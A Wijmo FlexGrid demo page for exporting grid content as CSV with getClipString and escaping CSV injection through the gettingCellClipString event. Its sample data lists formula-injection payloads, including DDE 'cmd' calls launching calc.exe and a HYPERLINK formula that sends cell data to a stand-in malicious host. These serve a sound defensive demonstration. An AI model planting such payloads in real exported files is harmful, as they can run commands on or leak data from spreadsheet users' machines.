Clip String

Wijmo FlexGrid control provides ability to gets the content of a CellRange as a string suitable for copying to the clipboard or exporting to CSV (comma-separated values) files.

You can control the output format by configuring the second parameter of this API. For detailed usage, refer to getClipString and ClipStringOptions.

The process of obtaining the clip string involves extracting the value of each cell individually and then stitching them together before outputting. Therefore, Wijmo also provides users with an opportunity to process these values after extracting each cell's value by subscribing to the gettingCellClipString event. This will be beneficial for scenarios such as data reprocessing or preventing CSV injection.

Learn about FlexGrid | FlexGrid API Reference

import 'bootstrap.css'; import '@mescius/wijmo.styles/wijmo.css'; import './styles.css'; import { FlexGrid, ClipStringOptions } from '@mescius/wijmo.grid'; import { saveFile } from '@mescius/wijmo'; import { getData } from './data'; document.readyState === 'complete' ? init() : window.onload = init; function init() { // initialize grid const grid = new FlexGrid('#theGrid', { itemsSource: getData() }); grid.getColumn(1).width = 360; // use gettingCellClipString event to handle CSV injection handleCSVInjection(grid); // switch to control whether to escape CSV injection let isEscape = false; // click button to export CSV document.getElementById("export").addEventListener("click", function () { isEscape = false; exportGridToCSV(grid, "grid.csv"); }); // click button to export safety CSV document.getElementById("export-safe").addEventListener("click", function () { isEscape = true; exportGridToCSV(grid, "grid-safe.csv"); }); function exportGridToCSV(grid, exportFileName) { const range = grid.viewRange; const clipStringOption = ClipStringOptions.CSV | ClipStringOptions.QuoteAll; const includeColHeaders = true; const includeRowHeaders = false; const clipString = grid.getClipString(range, clipStringOption, includeColHeaders, includeRowHeaders); const exportContentContainer = document.getElementById("export-content"); exportContentContainer.innerHTML = clipString; const isExportToFile = document.getElementById("is-excel").checked; if (isExportToFile) { saveFile(clipString, exportFileName, 'text/csv'); } } function handleCSVInjection(grid) { grid.gettingCellClipString.addHandler((grid, e) => { if (isEscape) { e.data = escapeCSVInjection(e.data); } }); } // core logic for escaping CSV injection function escapeCSVInjection(content) { // handle the normal formula const dangerousStarts = ["=", "+", "-", "@"]; const needEscape = dangerousStarts.some(char => content.indexOf(char) === 0); if (needEscape) { return `'${content}`; } // handle the formula with " before const containsQuote = dangerousStarts.some(char => content.indexOf('"' + char) === 0); if (containsQuote) { return content.replace(/^"([=\+\-@])/, (match, $1) => '"\'' + $1); } // handle the split and wrap situations const containsWrap = content.indexOf(";") > -1 || content.indexOf("%0A") > -1; if (containsWrap) { return content.replace(/(\;|%0A)([=\+\-@])/g, (match, $1, $2) => "'" + $2); } return content; } }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>MESCIUS Wijmo FlexGrid Preserve Row Height</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- SystemJS --> <script src="https://cdnjs.cloudflare.com/ajax/libs/systemjs/0.21.5/system.src.js" integrity="sha512-skZbMyvYdNoZfLmiGn5ii6KmklM82rYX2uWctBhzaXPxJgiv4XBwJnFGr5k8s+6tE1pcR1nuTKghozJHyzMcoA==" crossorigin="anonymous"></script> <script src="systemjs.config.js"></script> <script> System.import('./src/app'); </script> </head> <body> <main class="container-fluid"> <div id="theGrid"></div> <div class="button-container"> <input type="checkbox" id="is-excel"> <label for="is-excel">Export to Excel</label> <button id="export" class="btn btn-default">Directly Export</button> <button id="export-safe" class="btn btn-default">Prevent CSV Injection</button> </div> <textarea id="export-content">Exported Content</textarea> </main> </body> </html>
export function getData() { const dangerInfos = [ "=cmd|' /C calc.exe'!A0", "+cmd|' /C calc.exe'!A0", "-cmd|' /C calc.exe'!A0", "@SUM(cmd|'/c calc'!A0)", '=HYPERLINK("http://malicious.com/"&A1,"Click Me")', '=../etc/passwd', '=IF(TRUE,IF(TRUE,IF(TRUE,...)))', ';+2-1', ' %0A=2-1' // execute on the next line ]; const data = []; for (let i = 0; i < dangerInfos.length; i++) { data.push({ id: i, formula: dangerInfos[i] }); } return data; }
.wj-flexgrid { max-height: 300px; margin: 6px 0; } #export-content { margin-top: 10px; width: 100%; height: 210px; }
(function (global) { System.config({ transpiler: 'plugin-babel', babelOptions: { es2015: true }, meta: { '*.css': { loader: 'css' } }, paths: { // paths serve as alias 'npm:': 'node_modules/' }, // map tells the System loader where to look for things map: { 'jszip': 'npm:jszip/dist/jszip.js', '@mescius/wijmo': 'npm:@mescius/wijmo/index.js', '@mescius/wijmo.input': 'npm:@mescius/wijmo.input/index.js', '@mescius/wijmo.styles': 'npm:@mescius/wijmo.styles', '@mescius/wijmo.cultures': 'npm:@mescius/wijmo.cultures', '@mescius/wijmo.chart': 'npm:@mescius/wijmo.chart/index.js', '@mescius/wijmo.chart.analytics': 'npm:@mescius/wijmo.chart.analytics/index.js', '@mescius/wijmo.chart.animation': 'npm:@mescius/wijmo.chart.animation/index.js', '@mescius/wijmo.chart.annotation': 'npm:@mescius/wijmo.chart.annotation/index.js', '@mescius/wijmo.chart.finance': 'npm:@mescius/wijmo.chart.finance/index.js', '@mescius/wijmo.chart.finance.analytics': 'npm:@mescius/wijmo.chart.finance.analytics/index.js', '@mescius/wijmo.chart.hierarchical': 'npm:@mescius/wijmo.chart.hierarchical/index.js', '@mescius/wijmo.chart.interaction': 'npm:@mescius/wijmo.chart.interaction/index.js', '@mescius/wijmo.chart.radar': 'npm:@mescius/wijmo.chart.radar/index.js', '@mescius/wijmo.chart.render': 'npm:@mescius/wijmo.chart.render/index.js', '@mescius/wijmo.chart.webgl': 'npm:@mescius/wijmo.chart.webgl/index.js', '@mescius/wijmo.chart.map': 'npm:@mescius/wijmo.chart.map/index.js', '@mescius/wijmo.gauge': 'npm:@mescius/wijmo.gauge/index.js', '@mescius/wijmo.grid': 'npm:@mescius/wijmo.grid/index.js', '@mescius/wijmo.grid.detail': 'npm:@mescius/wijmo.grid.detail/index.js', '@mescius/wijmo.grid.filter': 'npm:@mescius/wijmo.grid.filter/index.js', '@mescius/wijmo.grid.search': 'npm:@mescius/wijmo.grid.search/index.js', '@mescius/wijmo.grid.style': 'npm:@mescius/wijmo.grid.style/index.js', '@mescius/wijmo.grid.grouppanel': 'npm:@mescius/wijmo.grid.grouppanel/index.js', '@mescius/wijmo.grid.multirow': 'npm:@mescius/wijmo.grid.multirow/index.js', '@mescius/wijmo.grid.transposed': 'npm:@mescius/wijmo.grid.transposed/index.js', '@mescius/wijmo.grid.transposedmultirow': 'npm:@mescius/wijmo.grid.transposedmultirow/index.js', '@mescius/wijmo.grid.pdf': 'npm:@mescius/wijmo.grid.pdf/index.js', '@mescius/wijmo.grid.sheet': 'npm:@mescius/wijmo.grid.sheet/index.js', '@mescius/wijmo.grid.xlsx': 'npm:@mescius/wijmo.grid.xlsx/index.js', '@mescius/wijmo.grid.selector': 'npm:@mescius/wijmo.grid.selector/index.js', '@mescius/wijmo.grid.cellmaker': 'npm:@mescius/wijmo.grid.cellmaker/index.js', '@mescius/wijmo.nav': 'npm:@mescius/wijmo.nav/index.js', '@mescius/wijmo.odata': 'npm:@mescius/wijmo.odata/index.js', '@mescius/wijmo.olap': 'npm:@mescius/wijmo.olap/index.js', '@mescius/wijmo.rest': 'npm:@mescius/wijmo.rest/index.js', '@mescius/wijmo.pdf': 'npm:@mescius/wijmo.pdf/index.js', '@mescius/wijmo.pdf.security': 'npm:@mescius/wijmo.pdf.security/index.js', '@mescius/wijmo.viewer': 'npm:@mescius/wijmo.viewer/index.js', '@mescius/wijmo.xlsx': 'npm:@mescius/wijmo.xlsx/index.js', '@mescius/wijmo.undo': 'npm:@mescius/wijmo.undo/index.js', '@mescius/wijmo.interop.grid': 'npm:@mescius/wijmo.interop.grid/index.js', '@mescius/wijmo.touch': 'npm:@mescius/wijmo.touch/index.js', '@mescius/wijmo.cloud': 'npm:@mescius/wijmo.cloud/index.js', '@mescius/wijmo.barcode': 'npm:@mescius/wijmo.barcode/index.js', '@mescius/wijmo.barcode.common': 'npm:@mescius/wijmo.barcode.common/index.js', '@mescius/wijmo.barcode.composite': 'npm:@mescius/wijmo.barcode.composite/index.js', '@mescius/wijmo.barcode.specialized': 'npm:@mescius/wijmo.barcode.specialized/index.js', 'jszip': 'npm:jszip/dist/jszip.js', 'bootstrap.css': 'npm:bootstrap/dist/css/bootstrap.min.css', 'css': 'npm:systemjs-plugin-css/css.js', 'plugin-babel': 'npm:systemjs-plugin-babel/plugin-babel.js', 'systemjs-babel-build':'npm:systemjs-plugin-babel/systemjs-babel-browser.js' }, // packages tells the System loader how to load when no filename and/or no extension packages: { src: { defaultExtension: 'js' }, "node_modules": { defaultExtension: 'js' }, } }); })(this);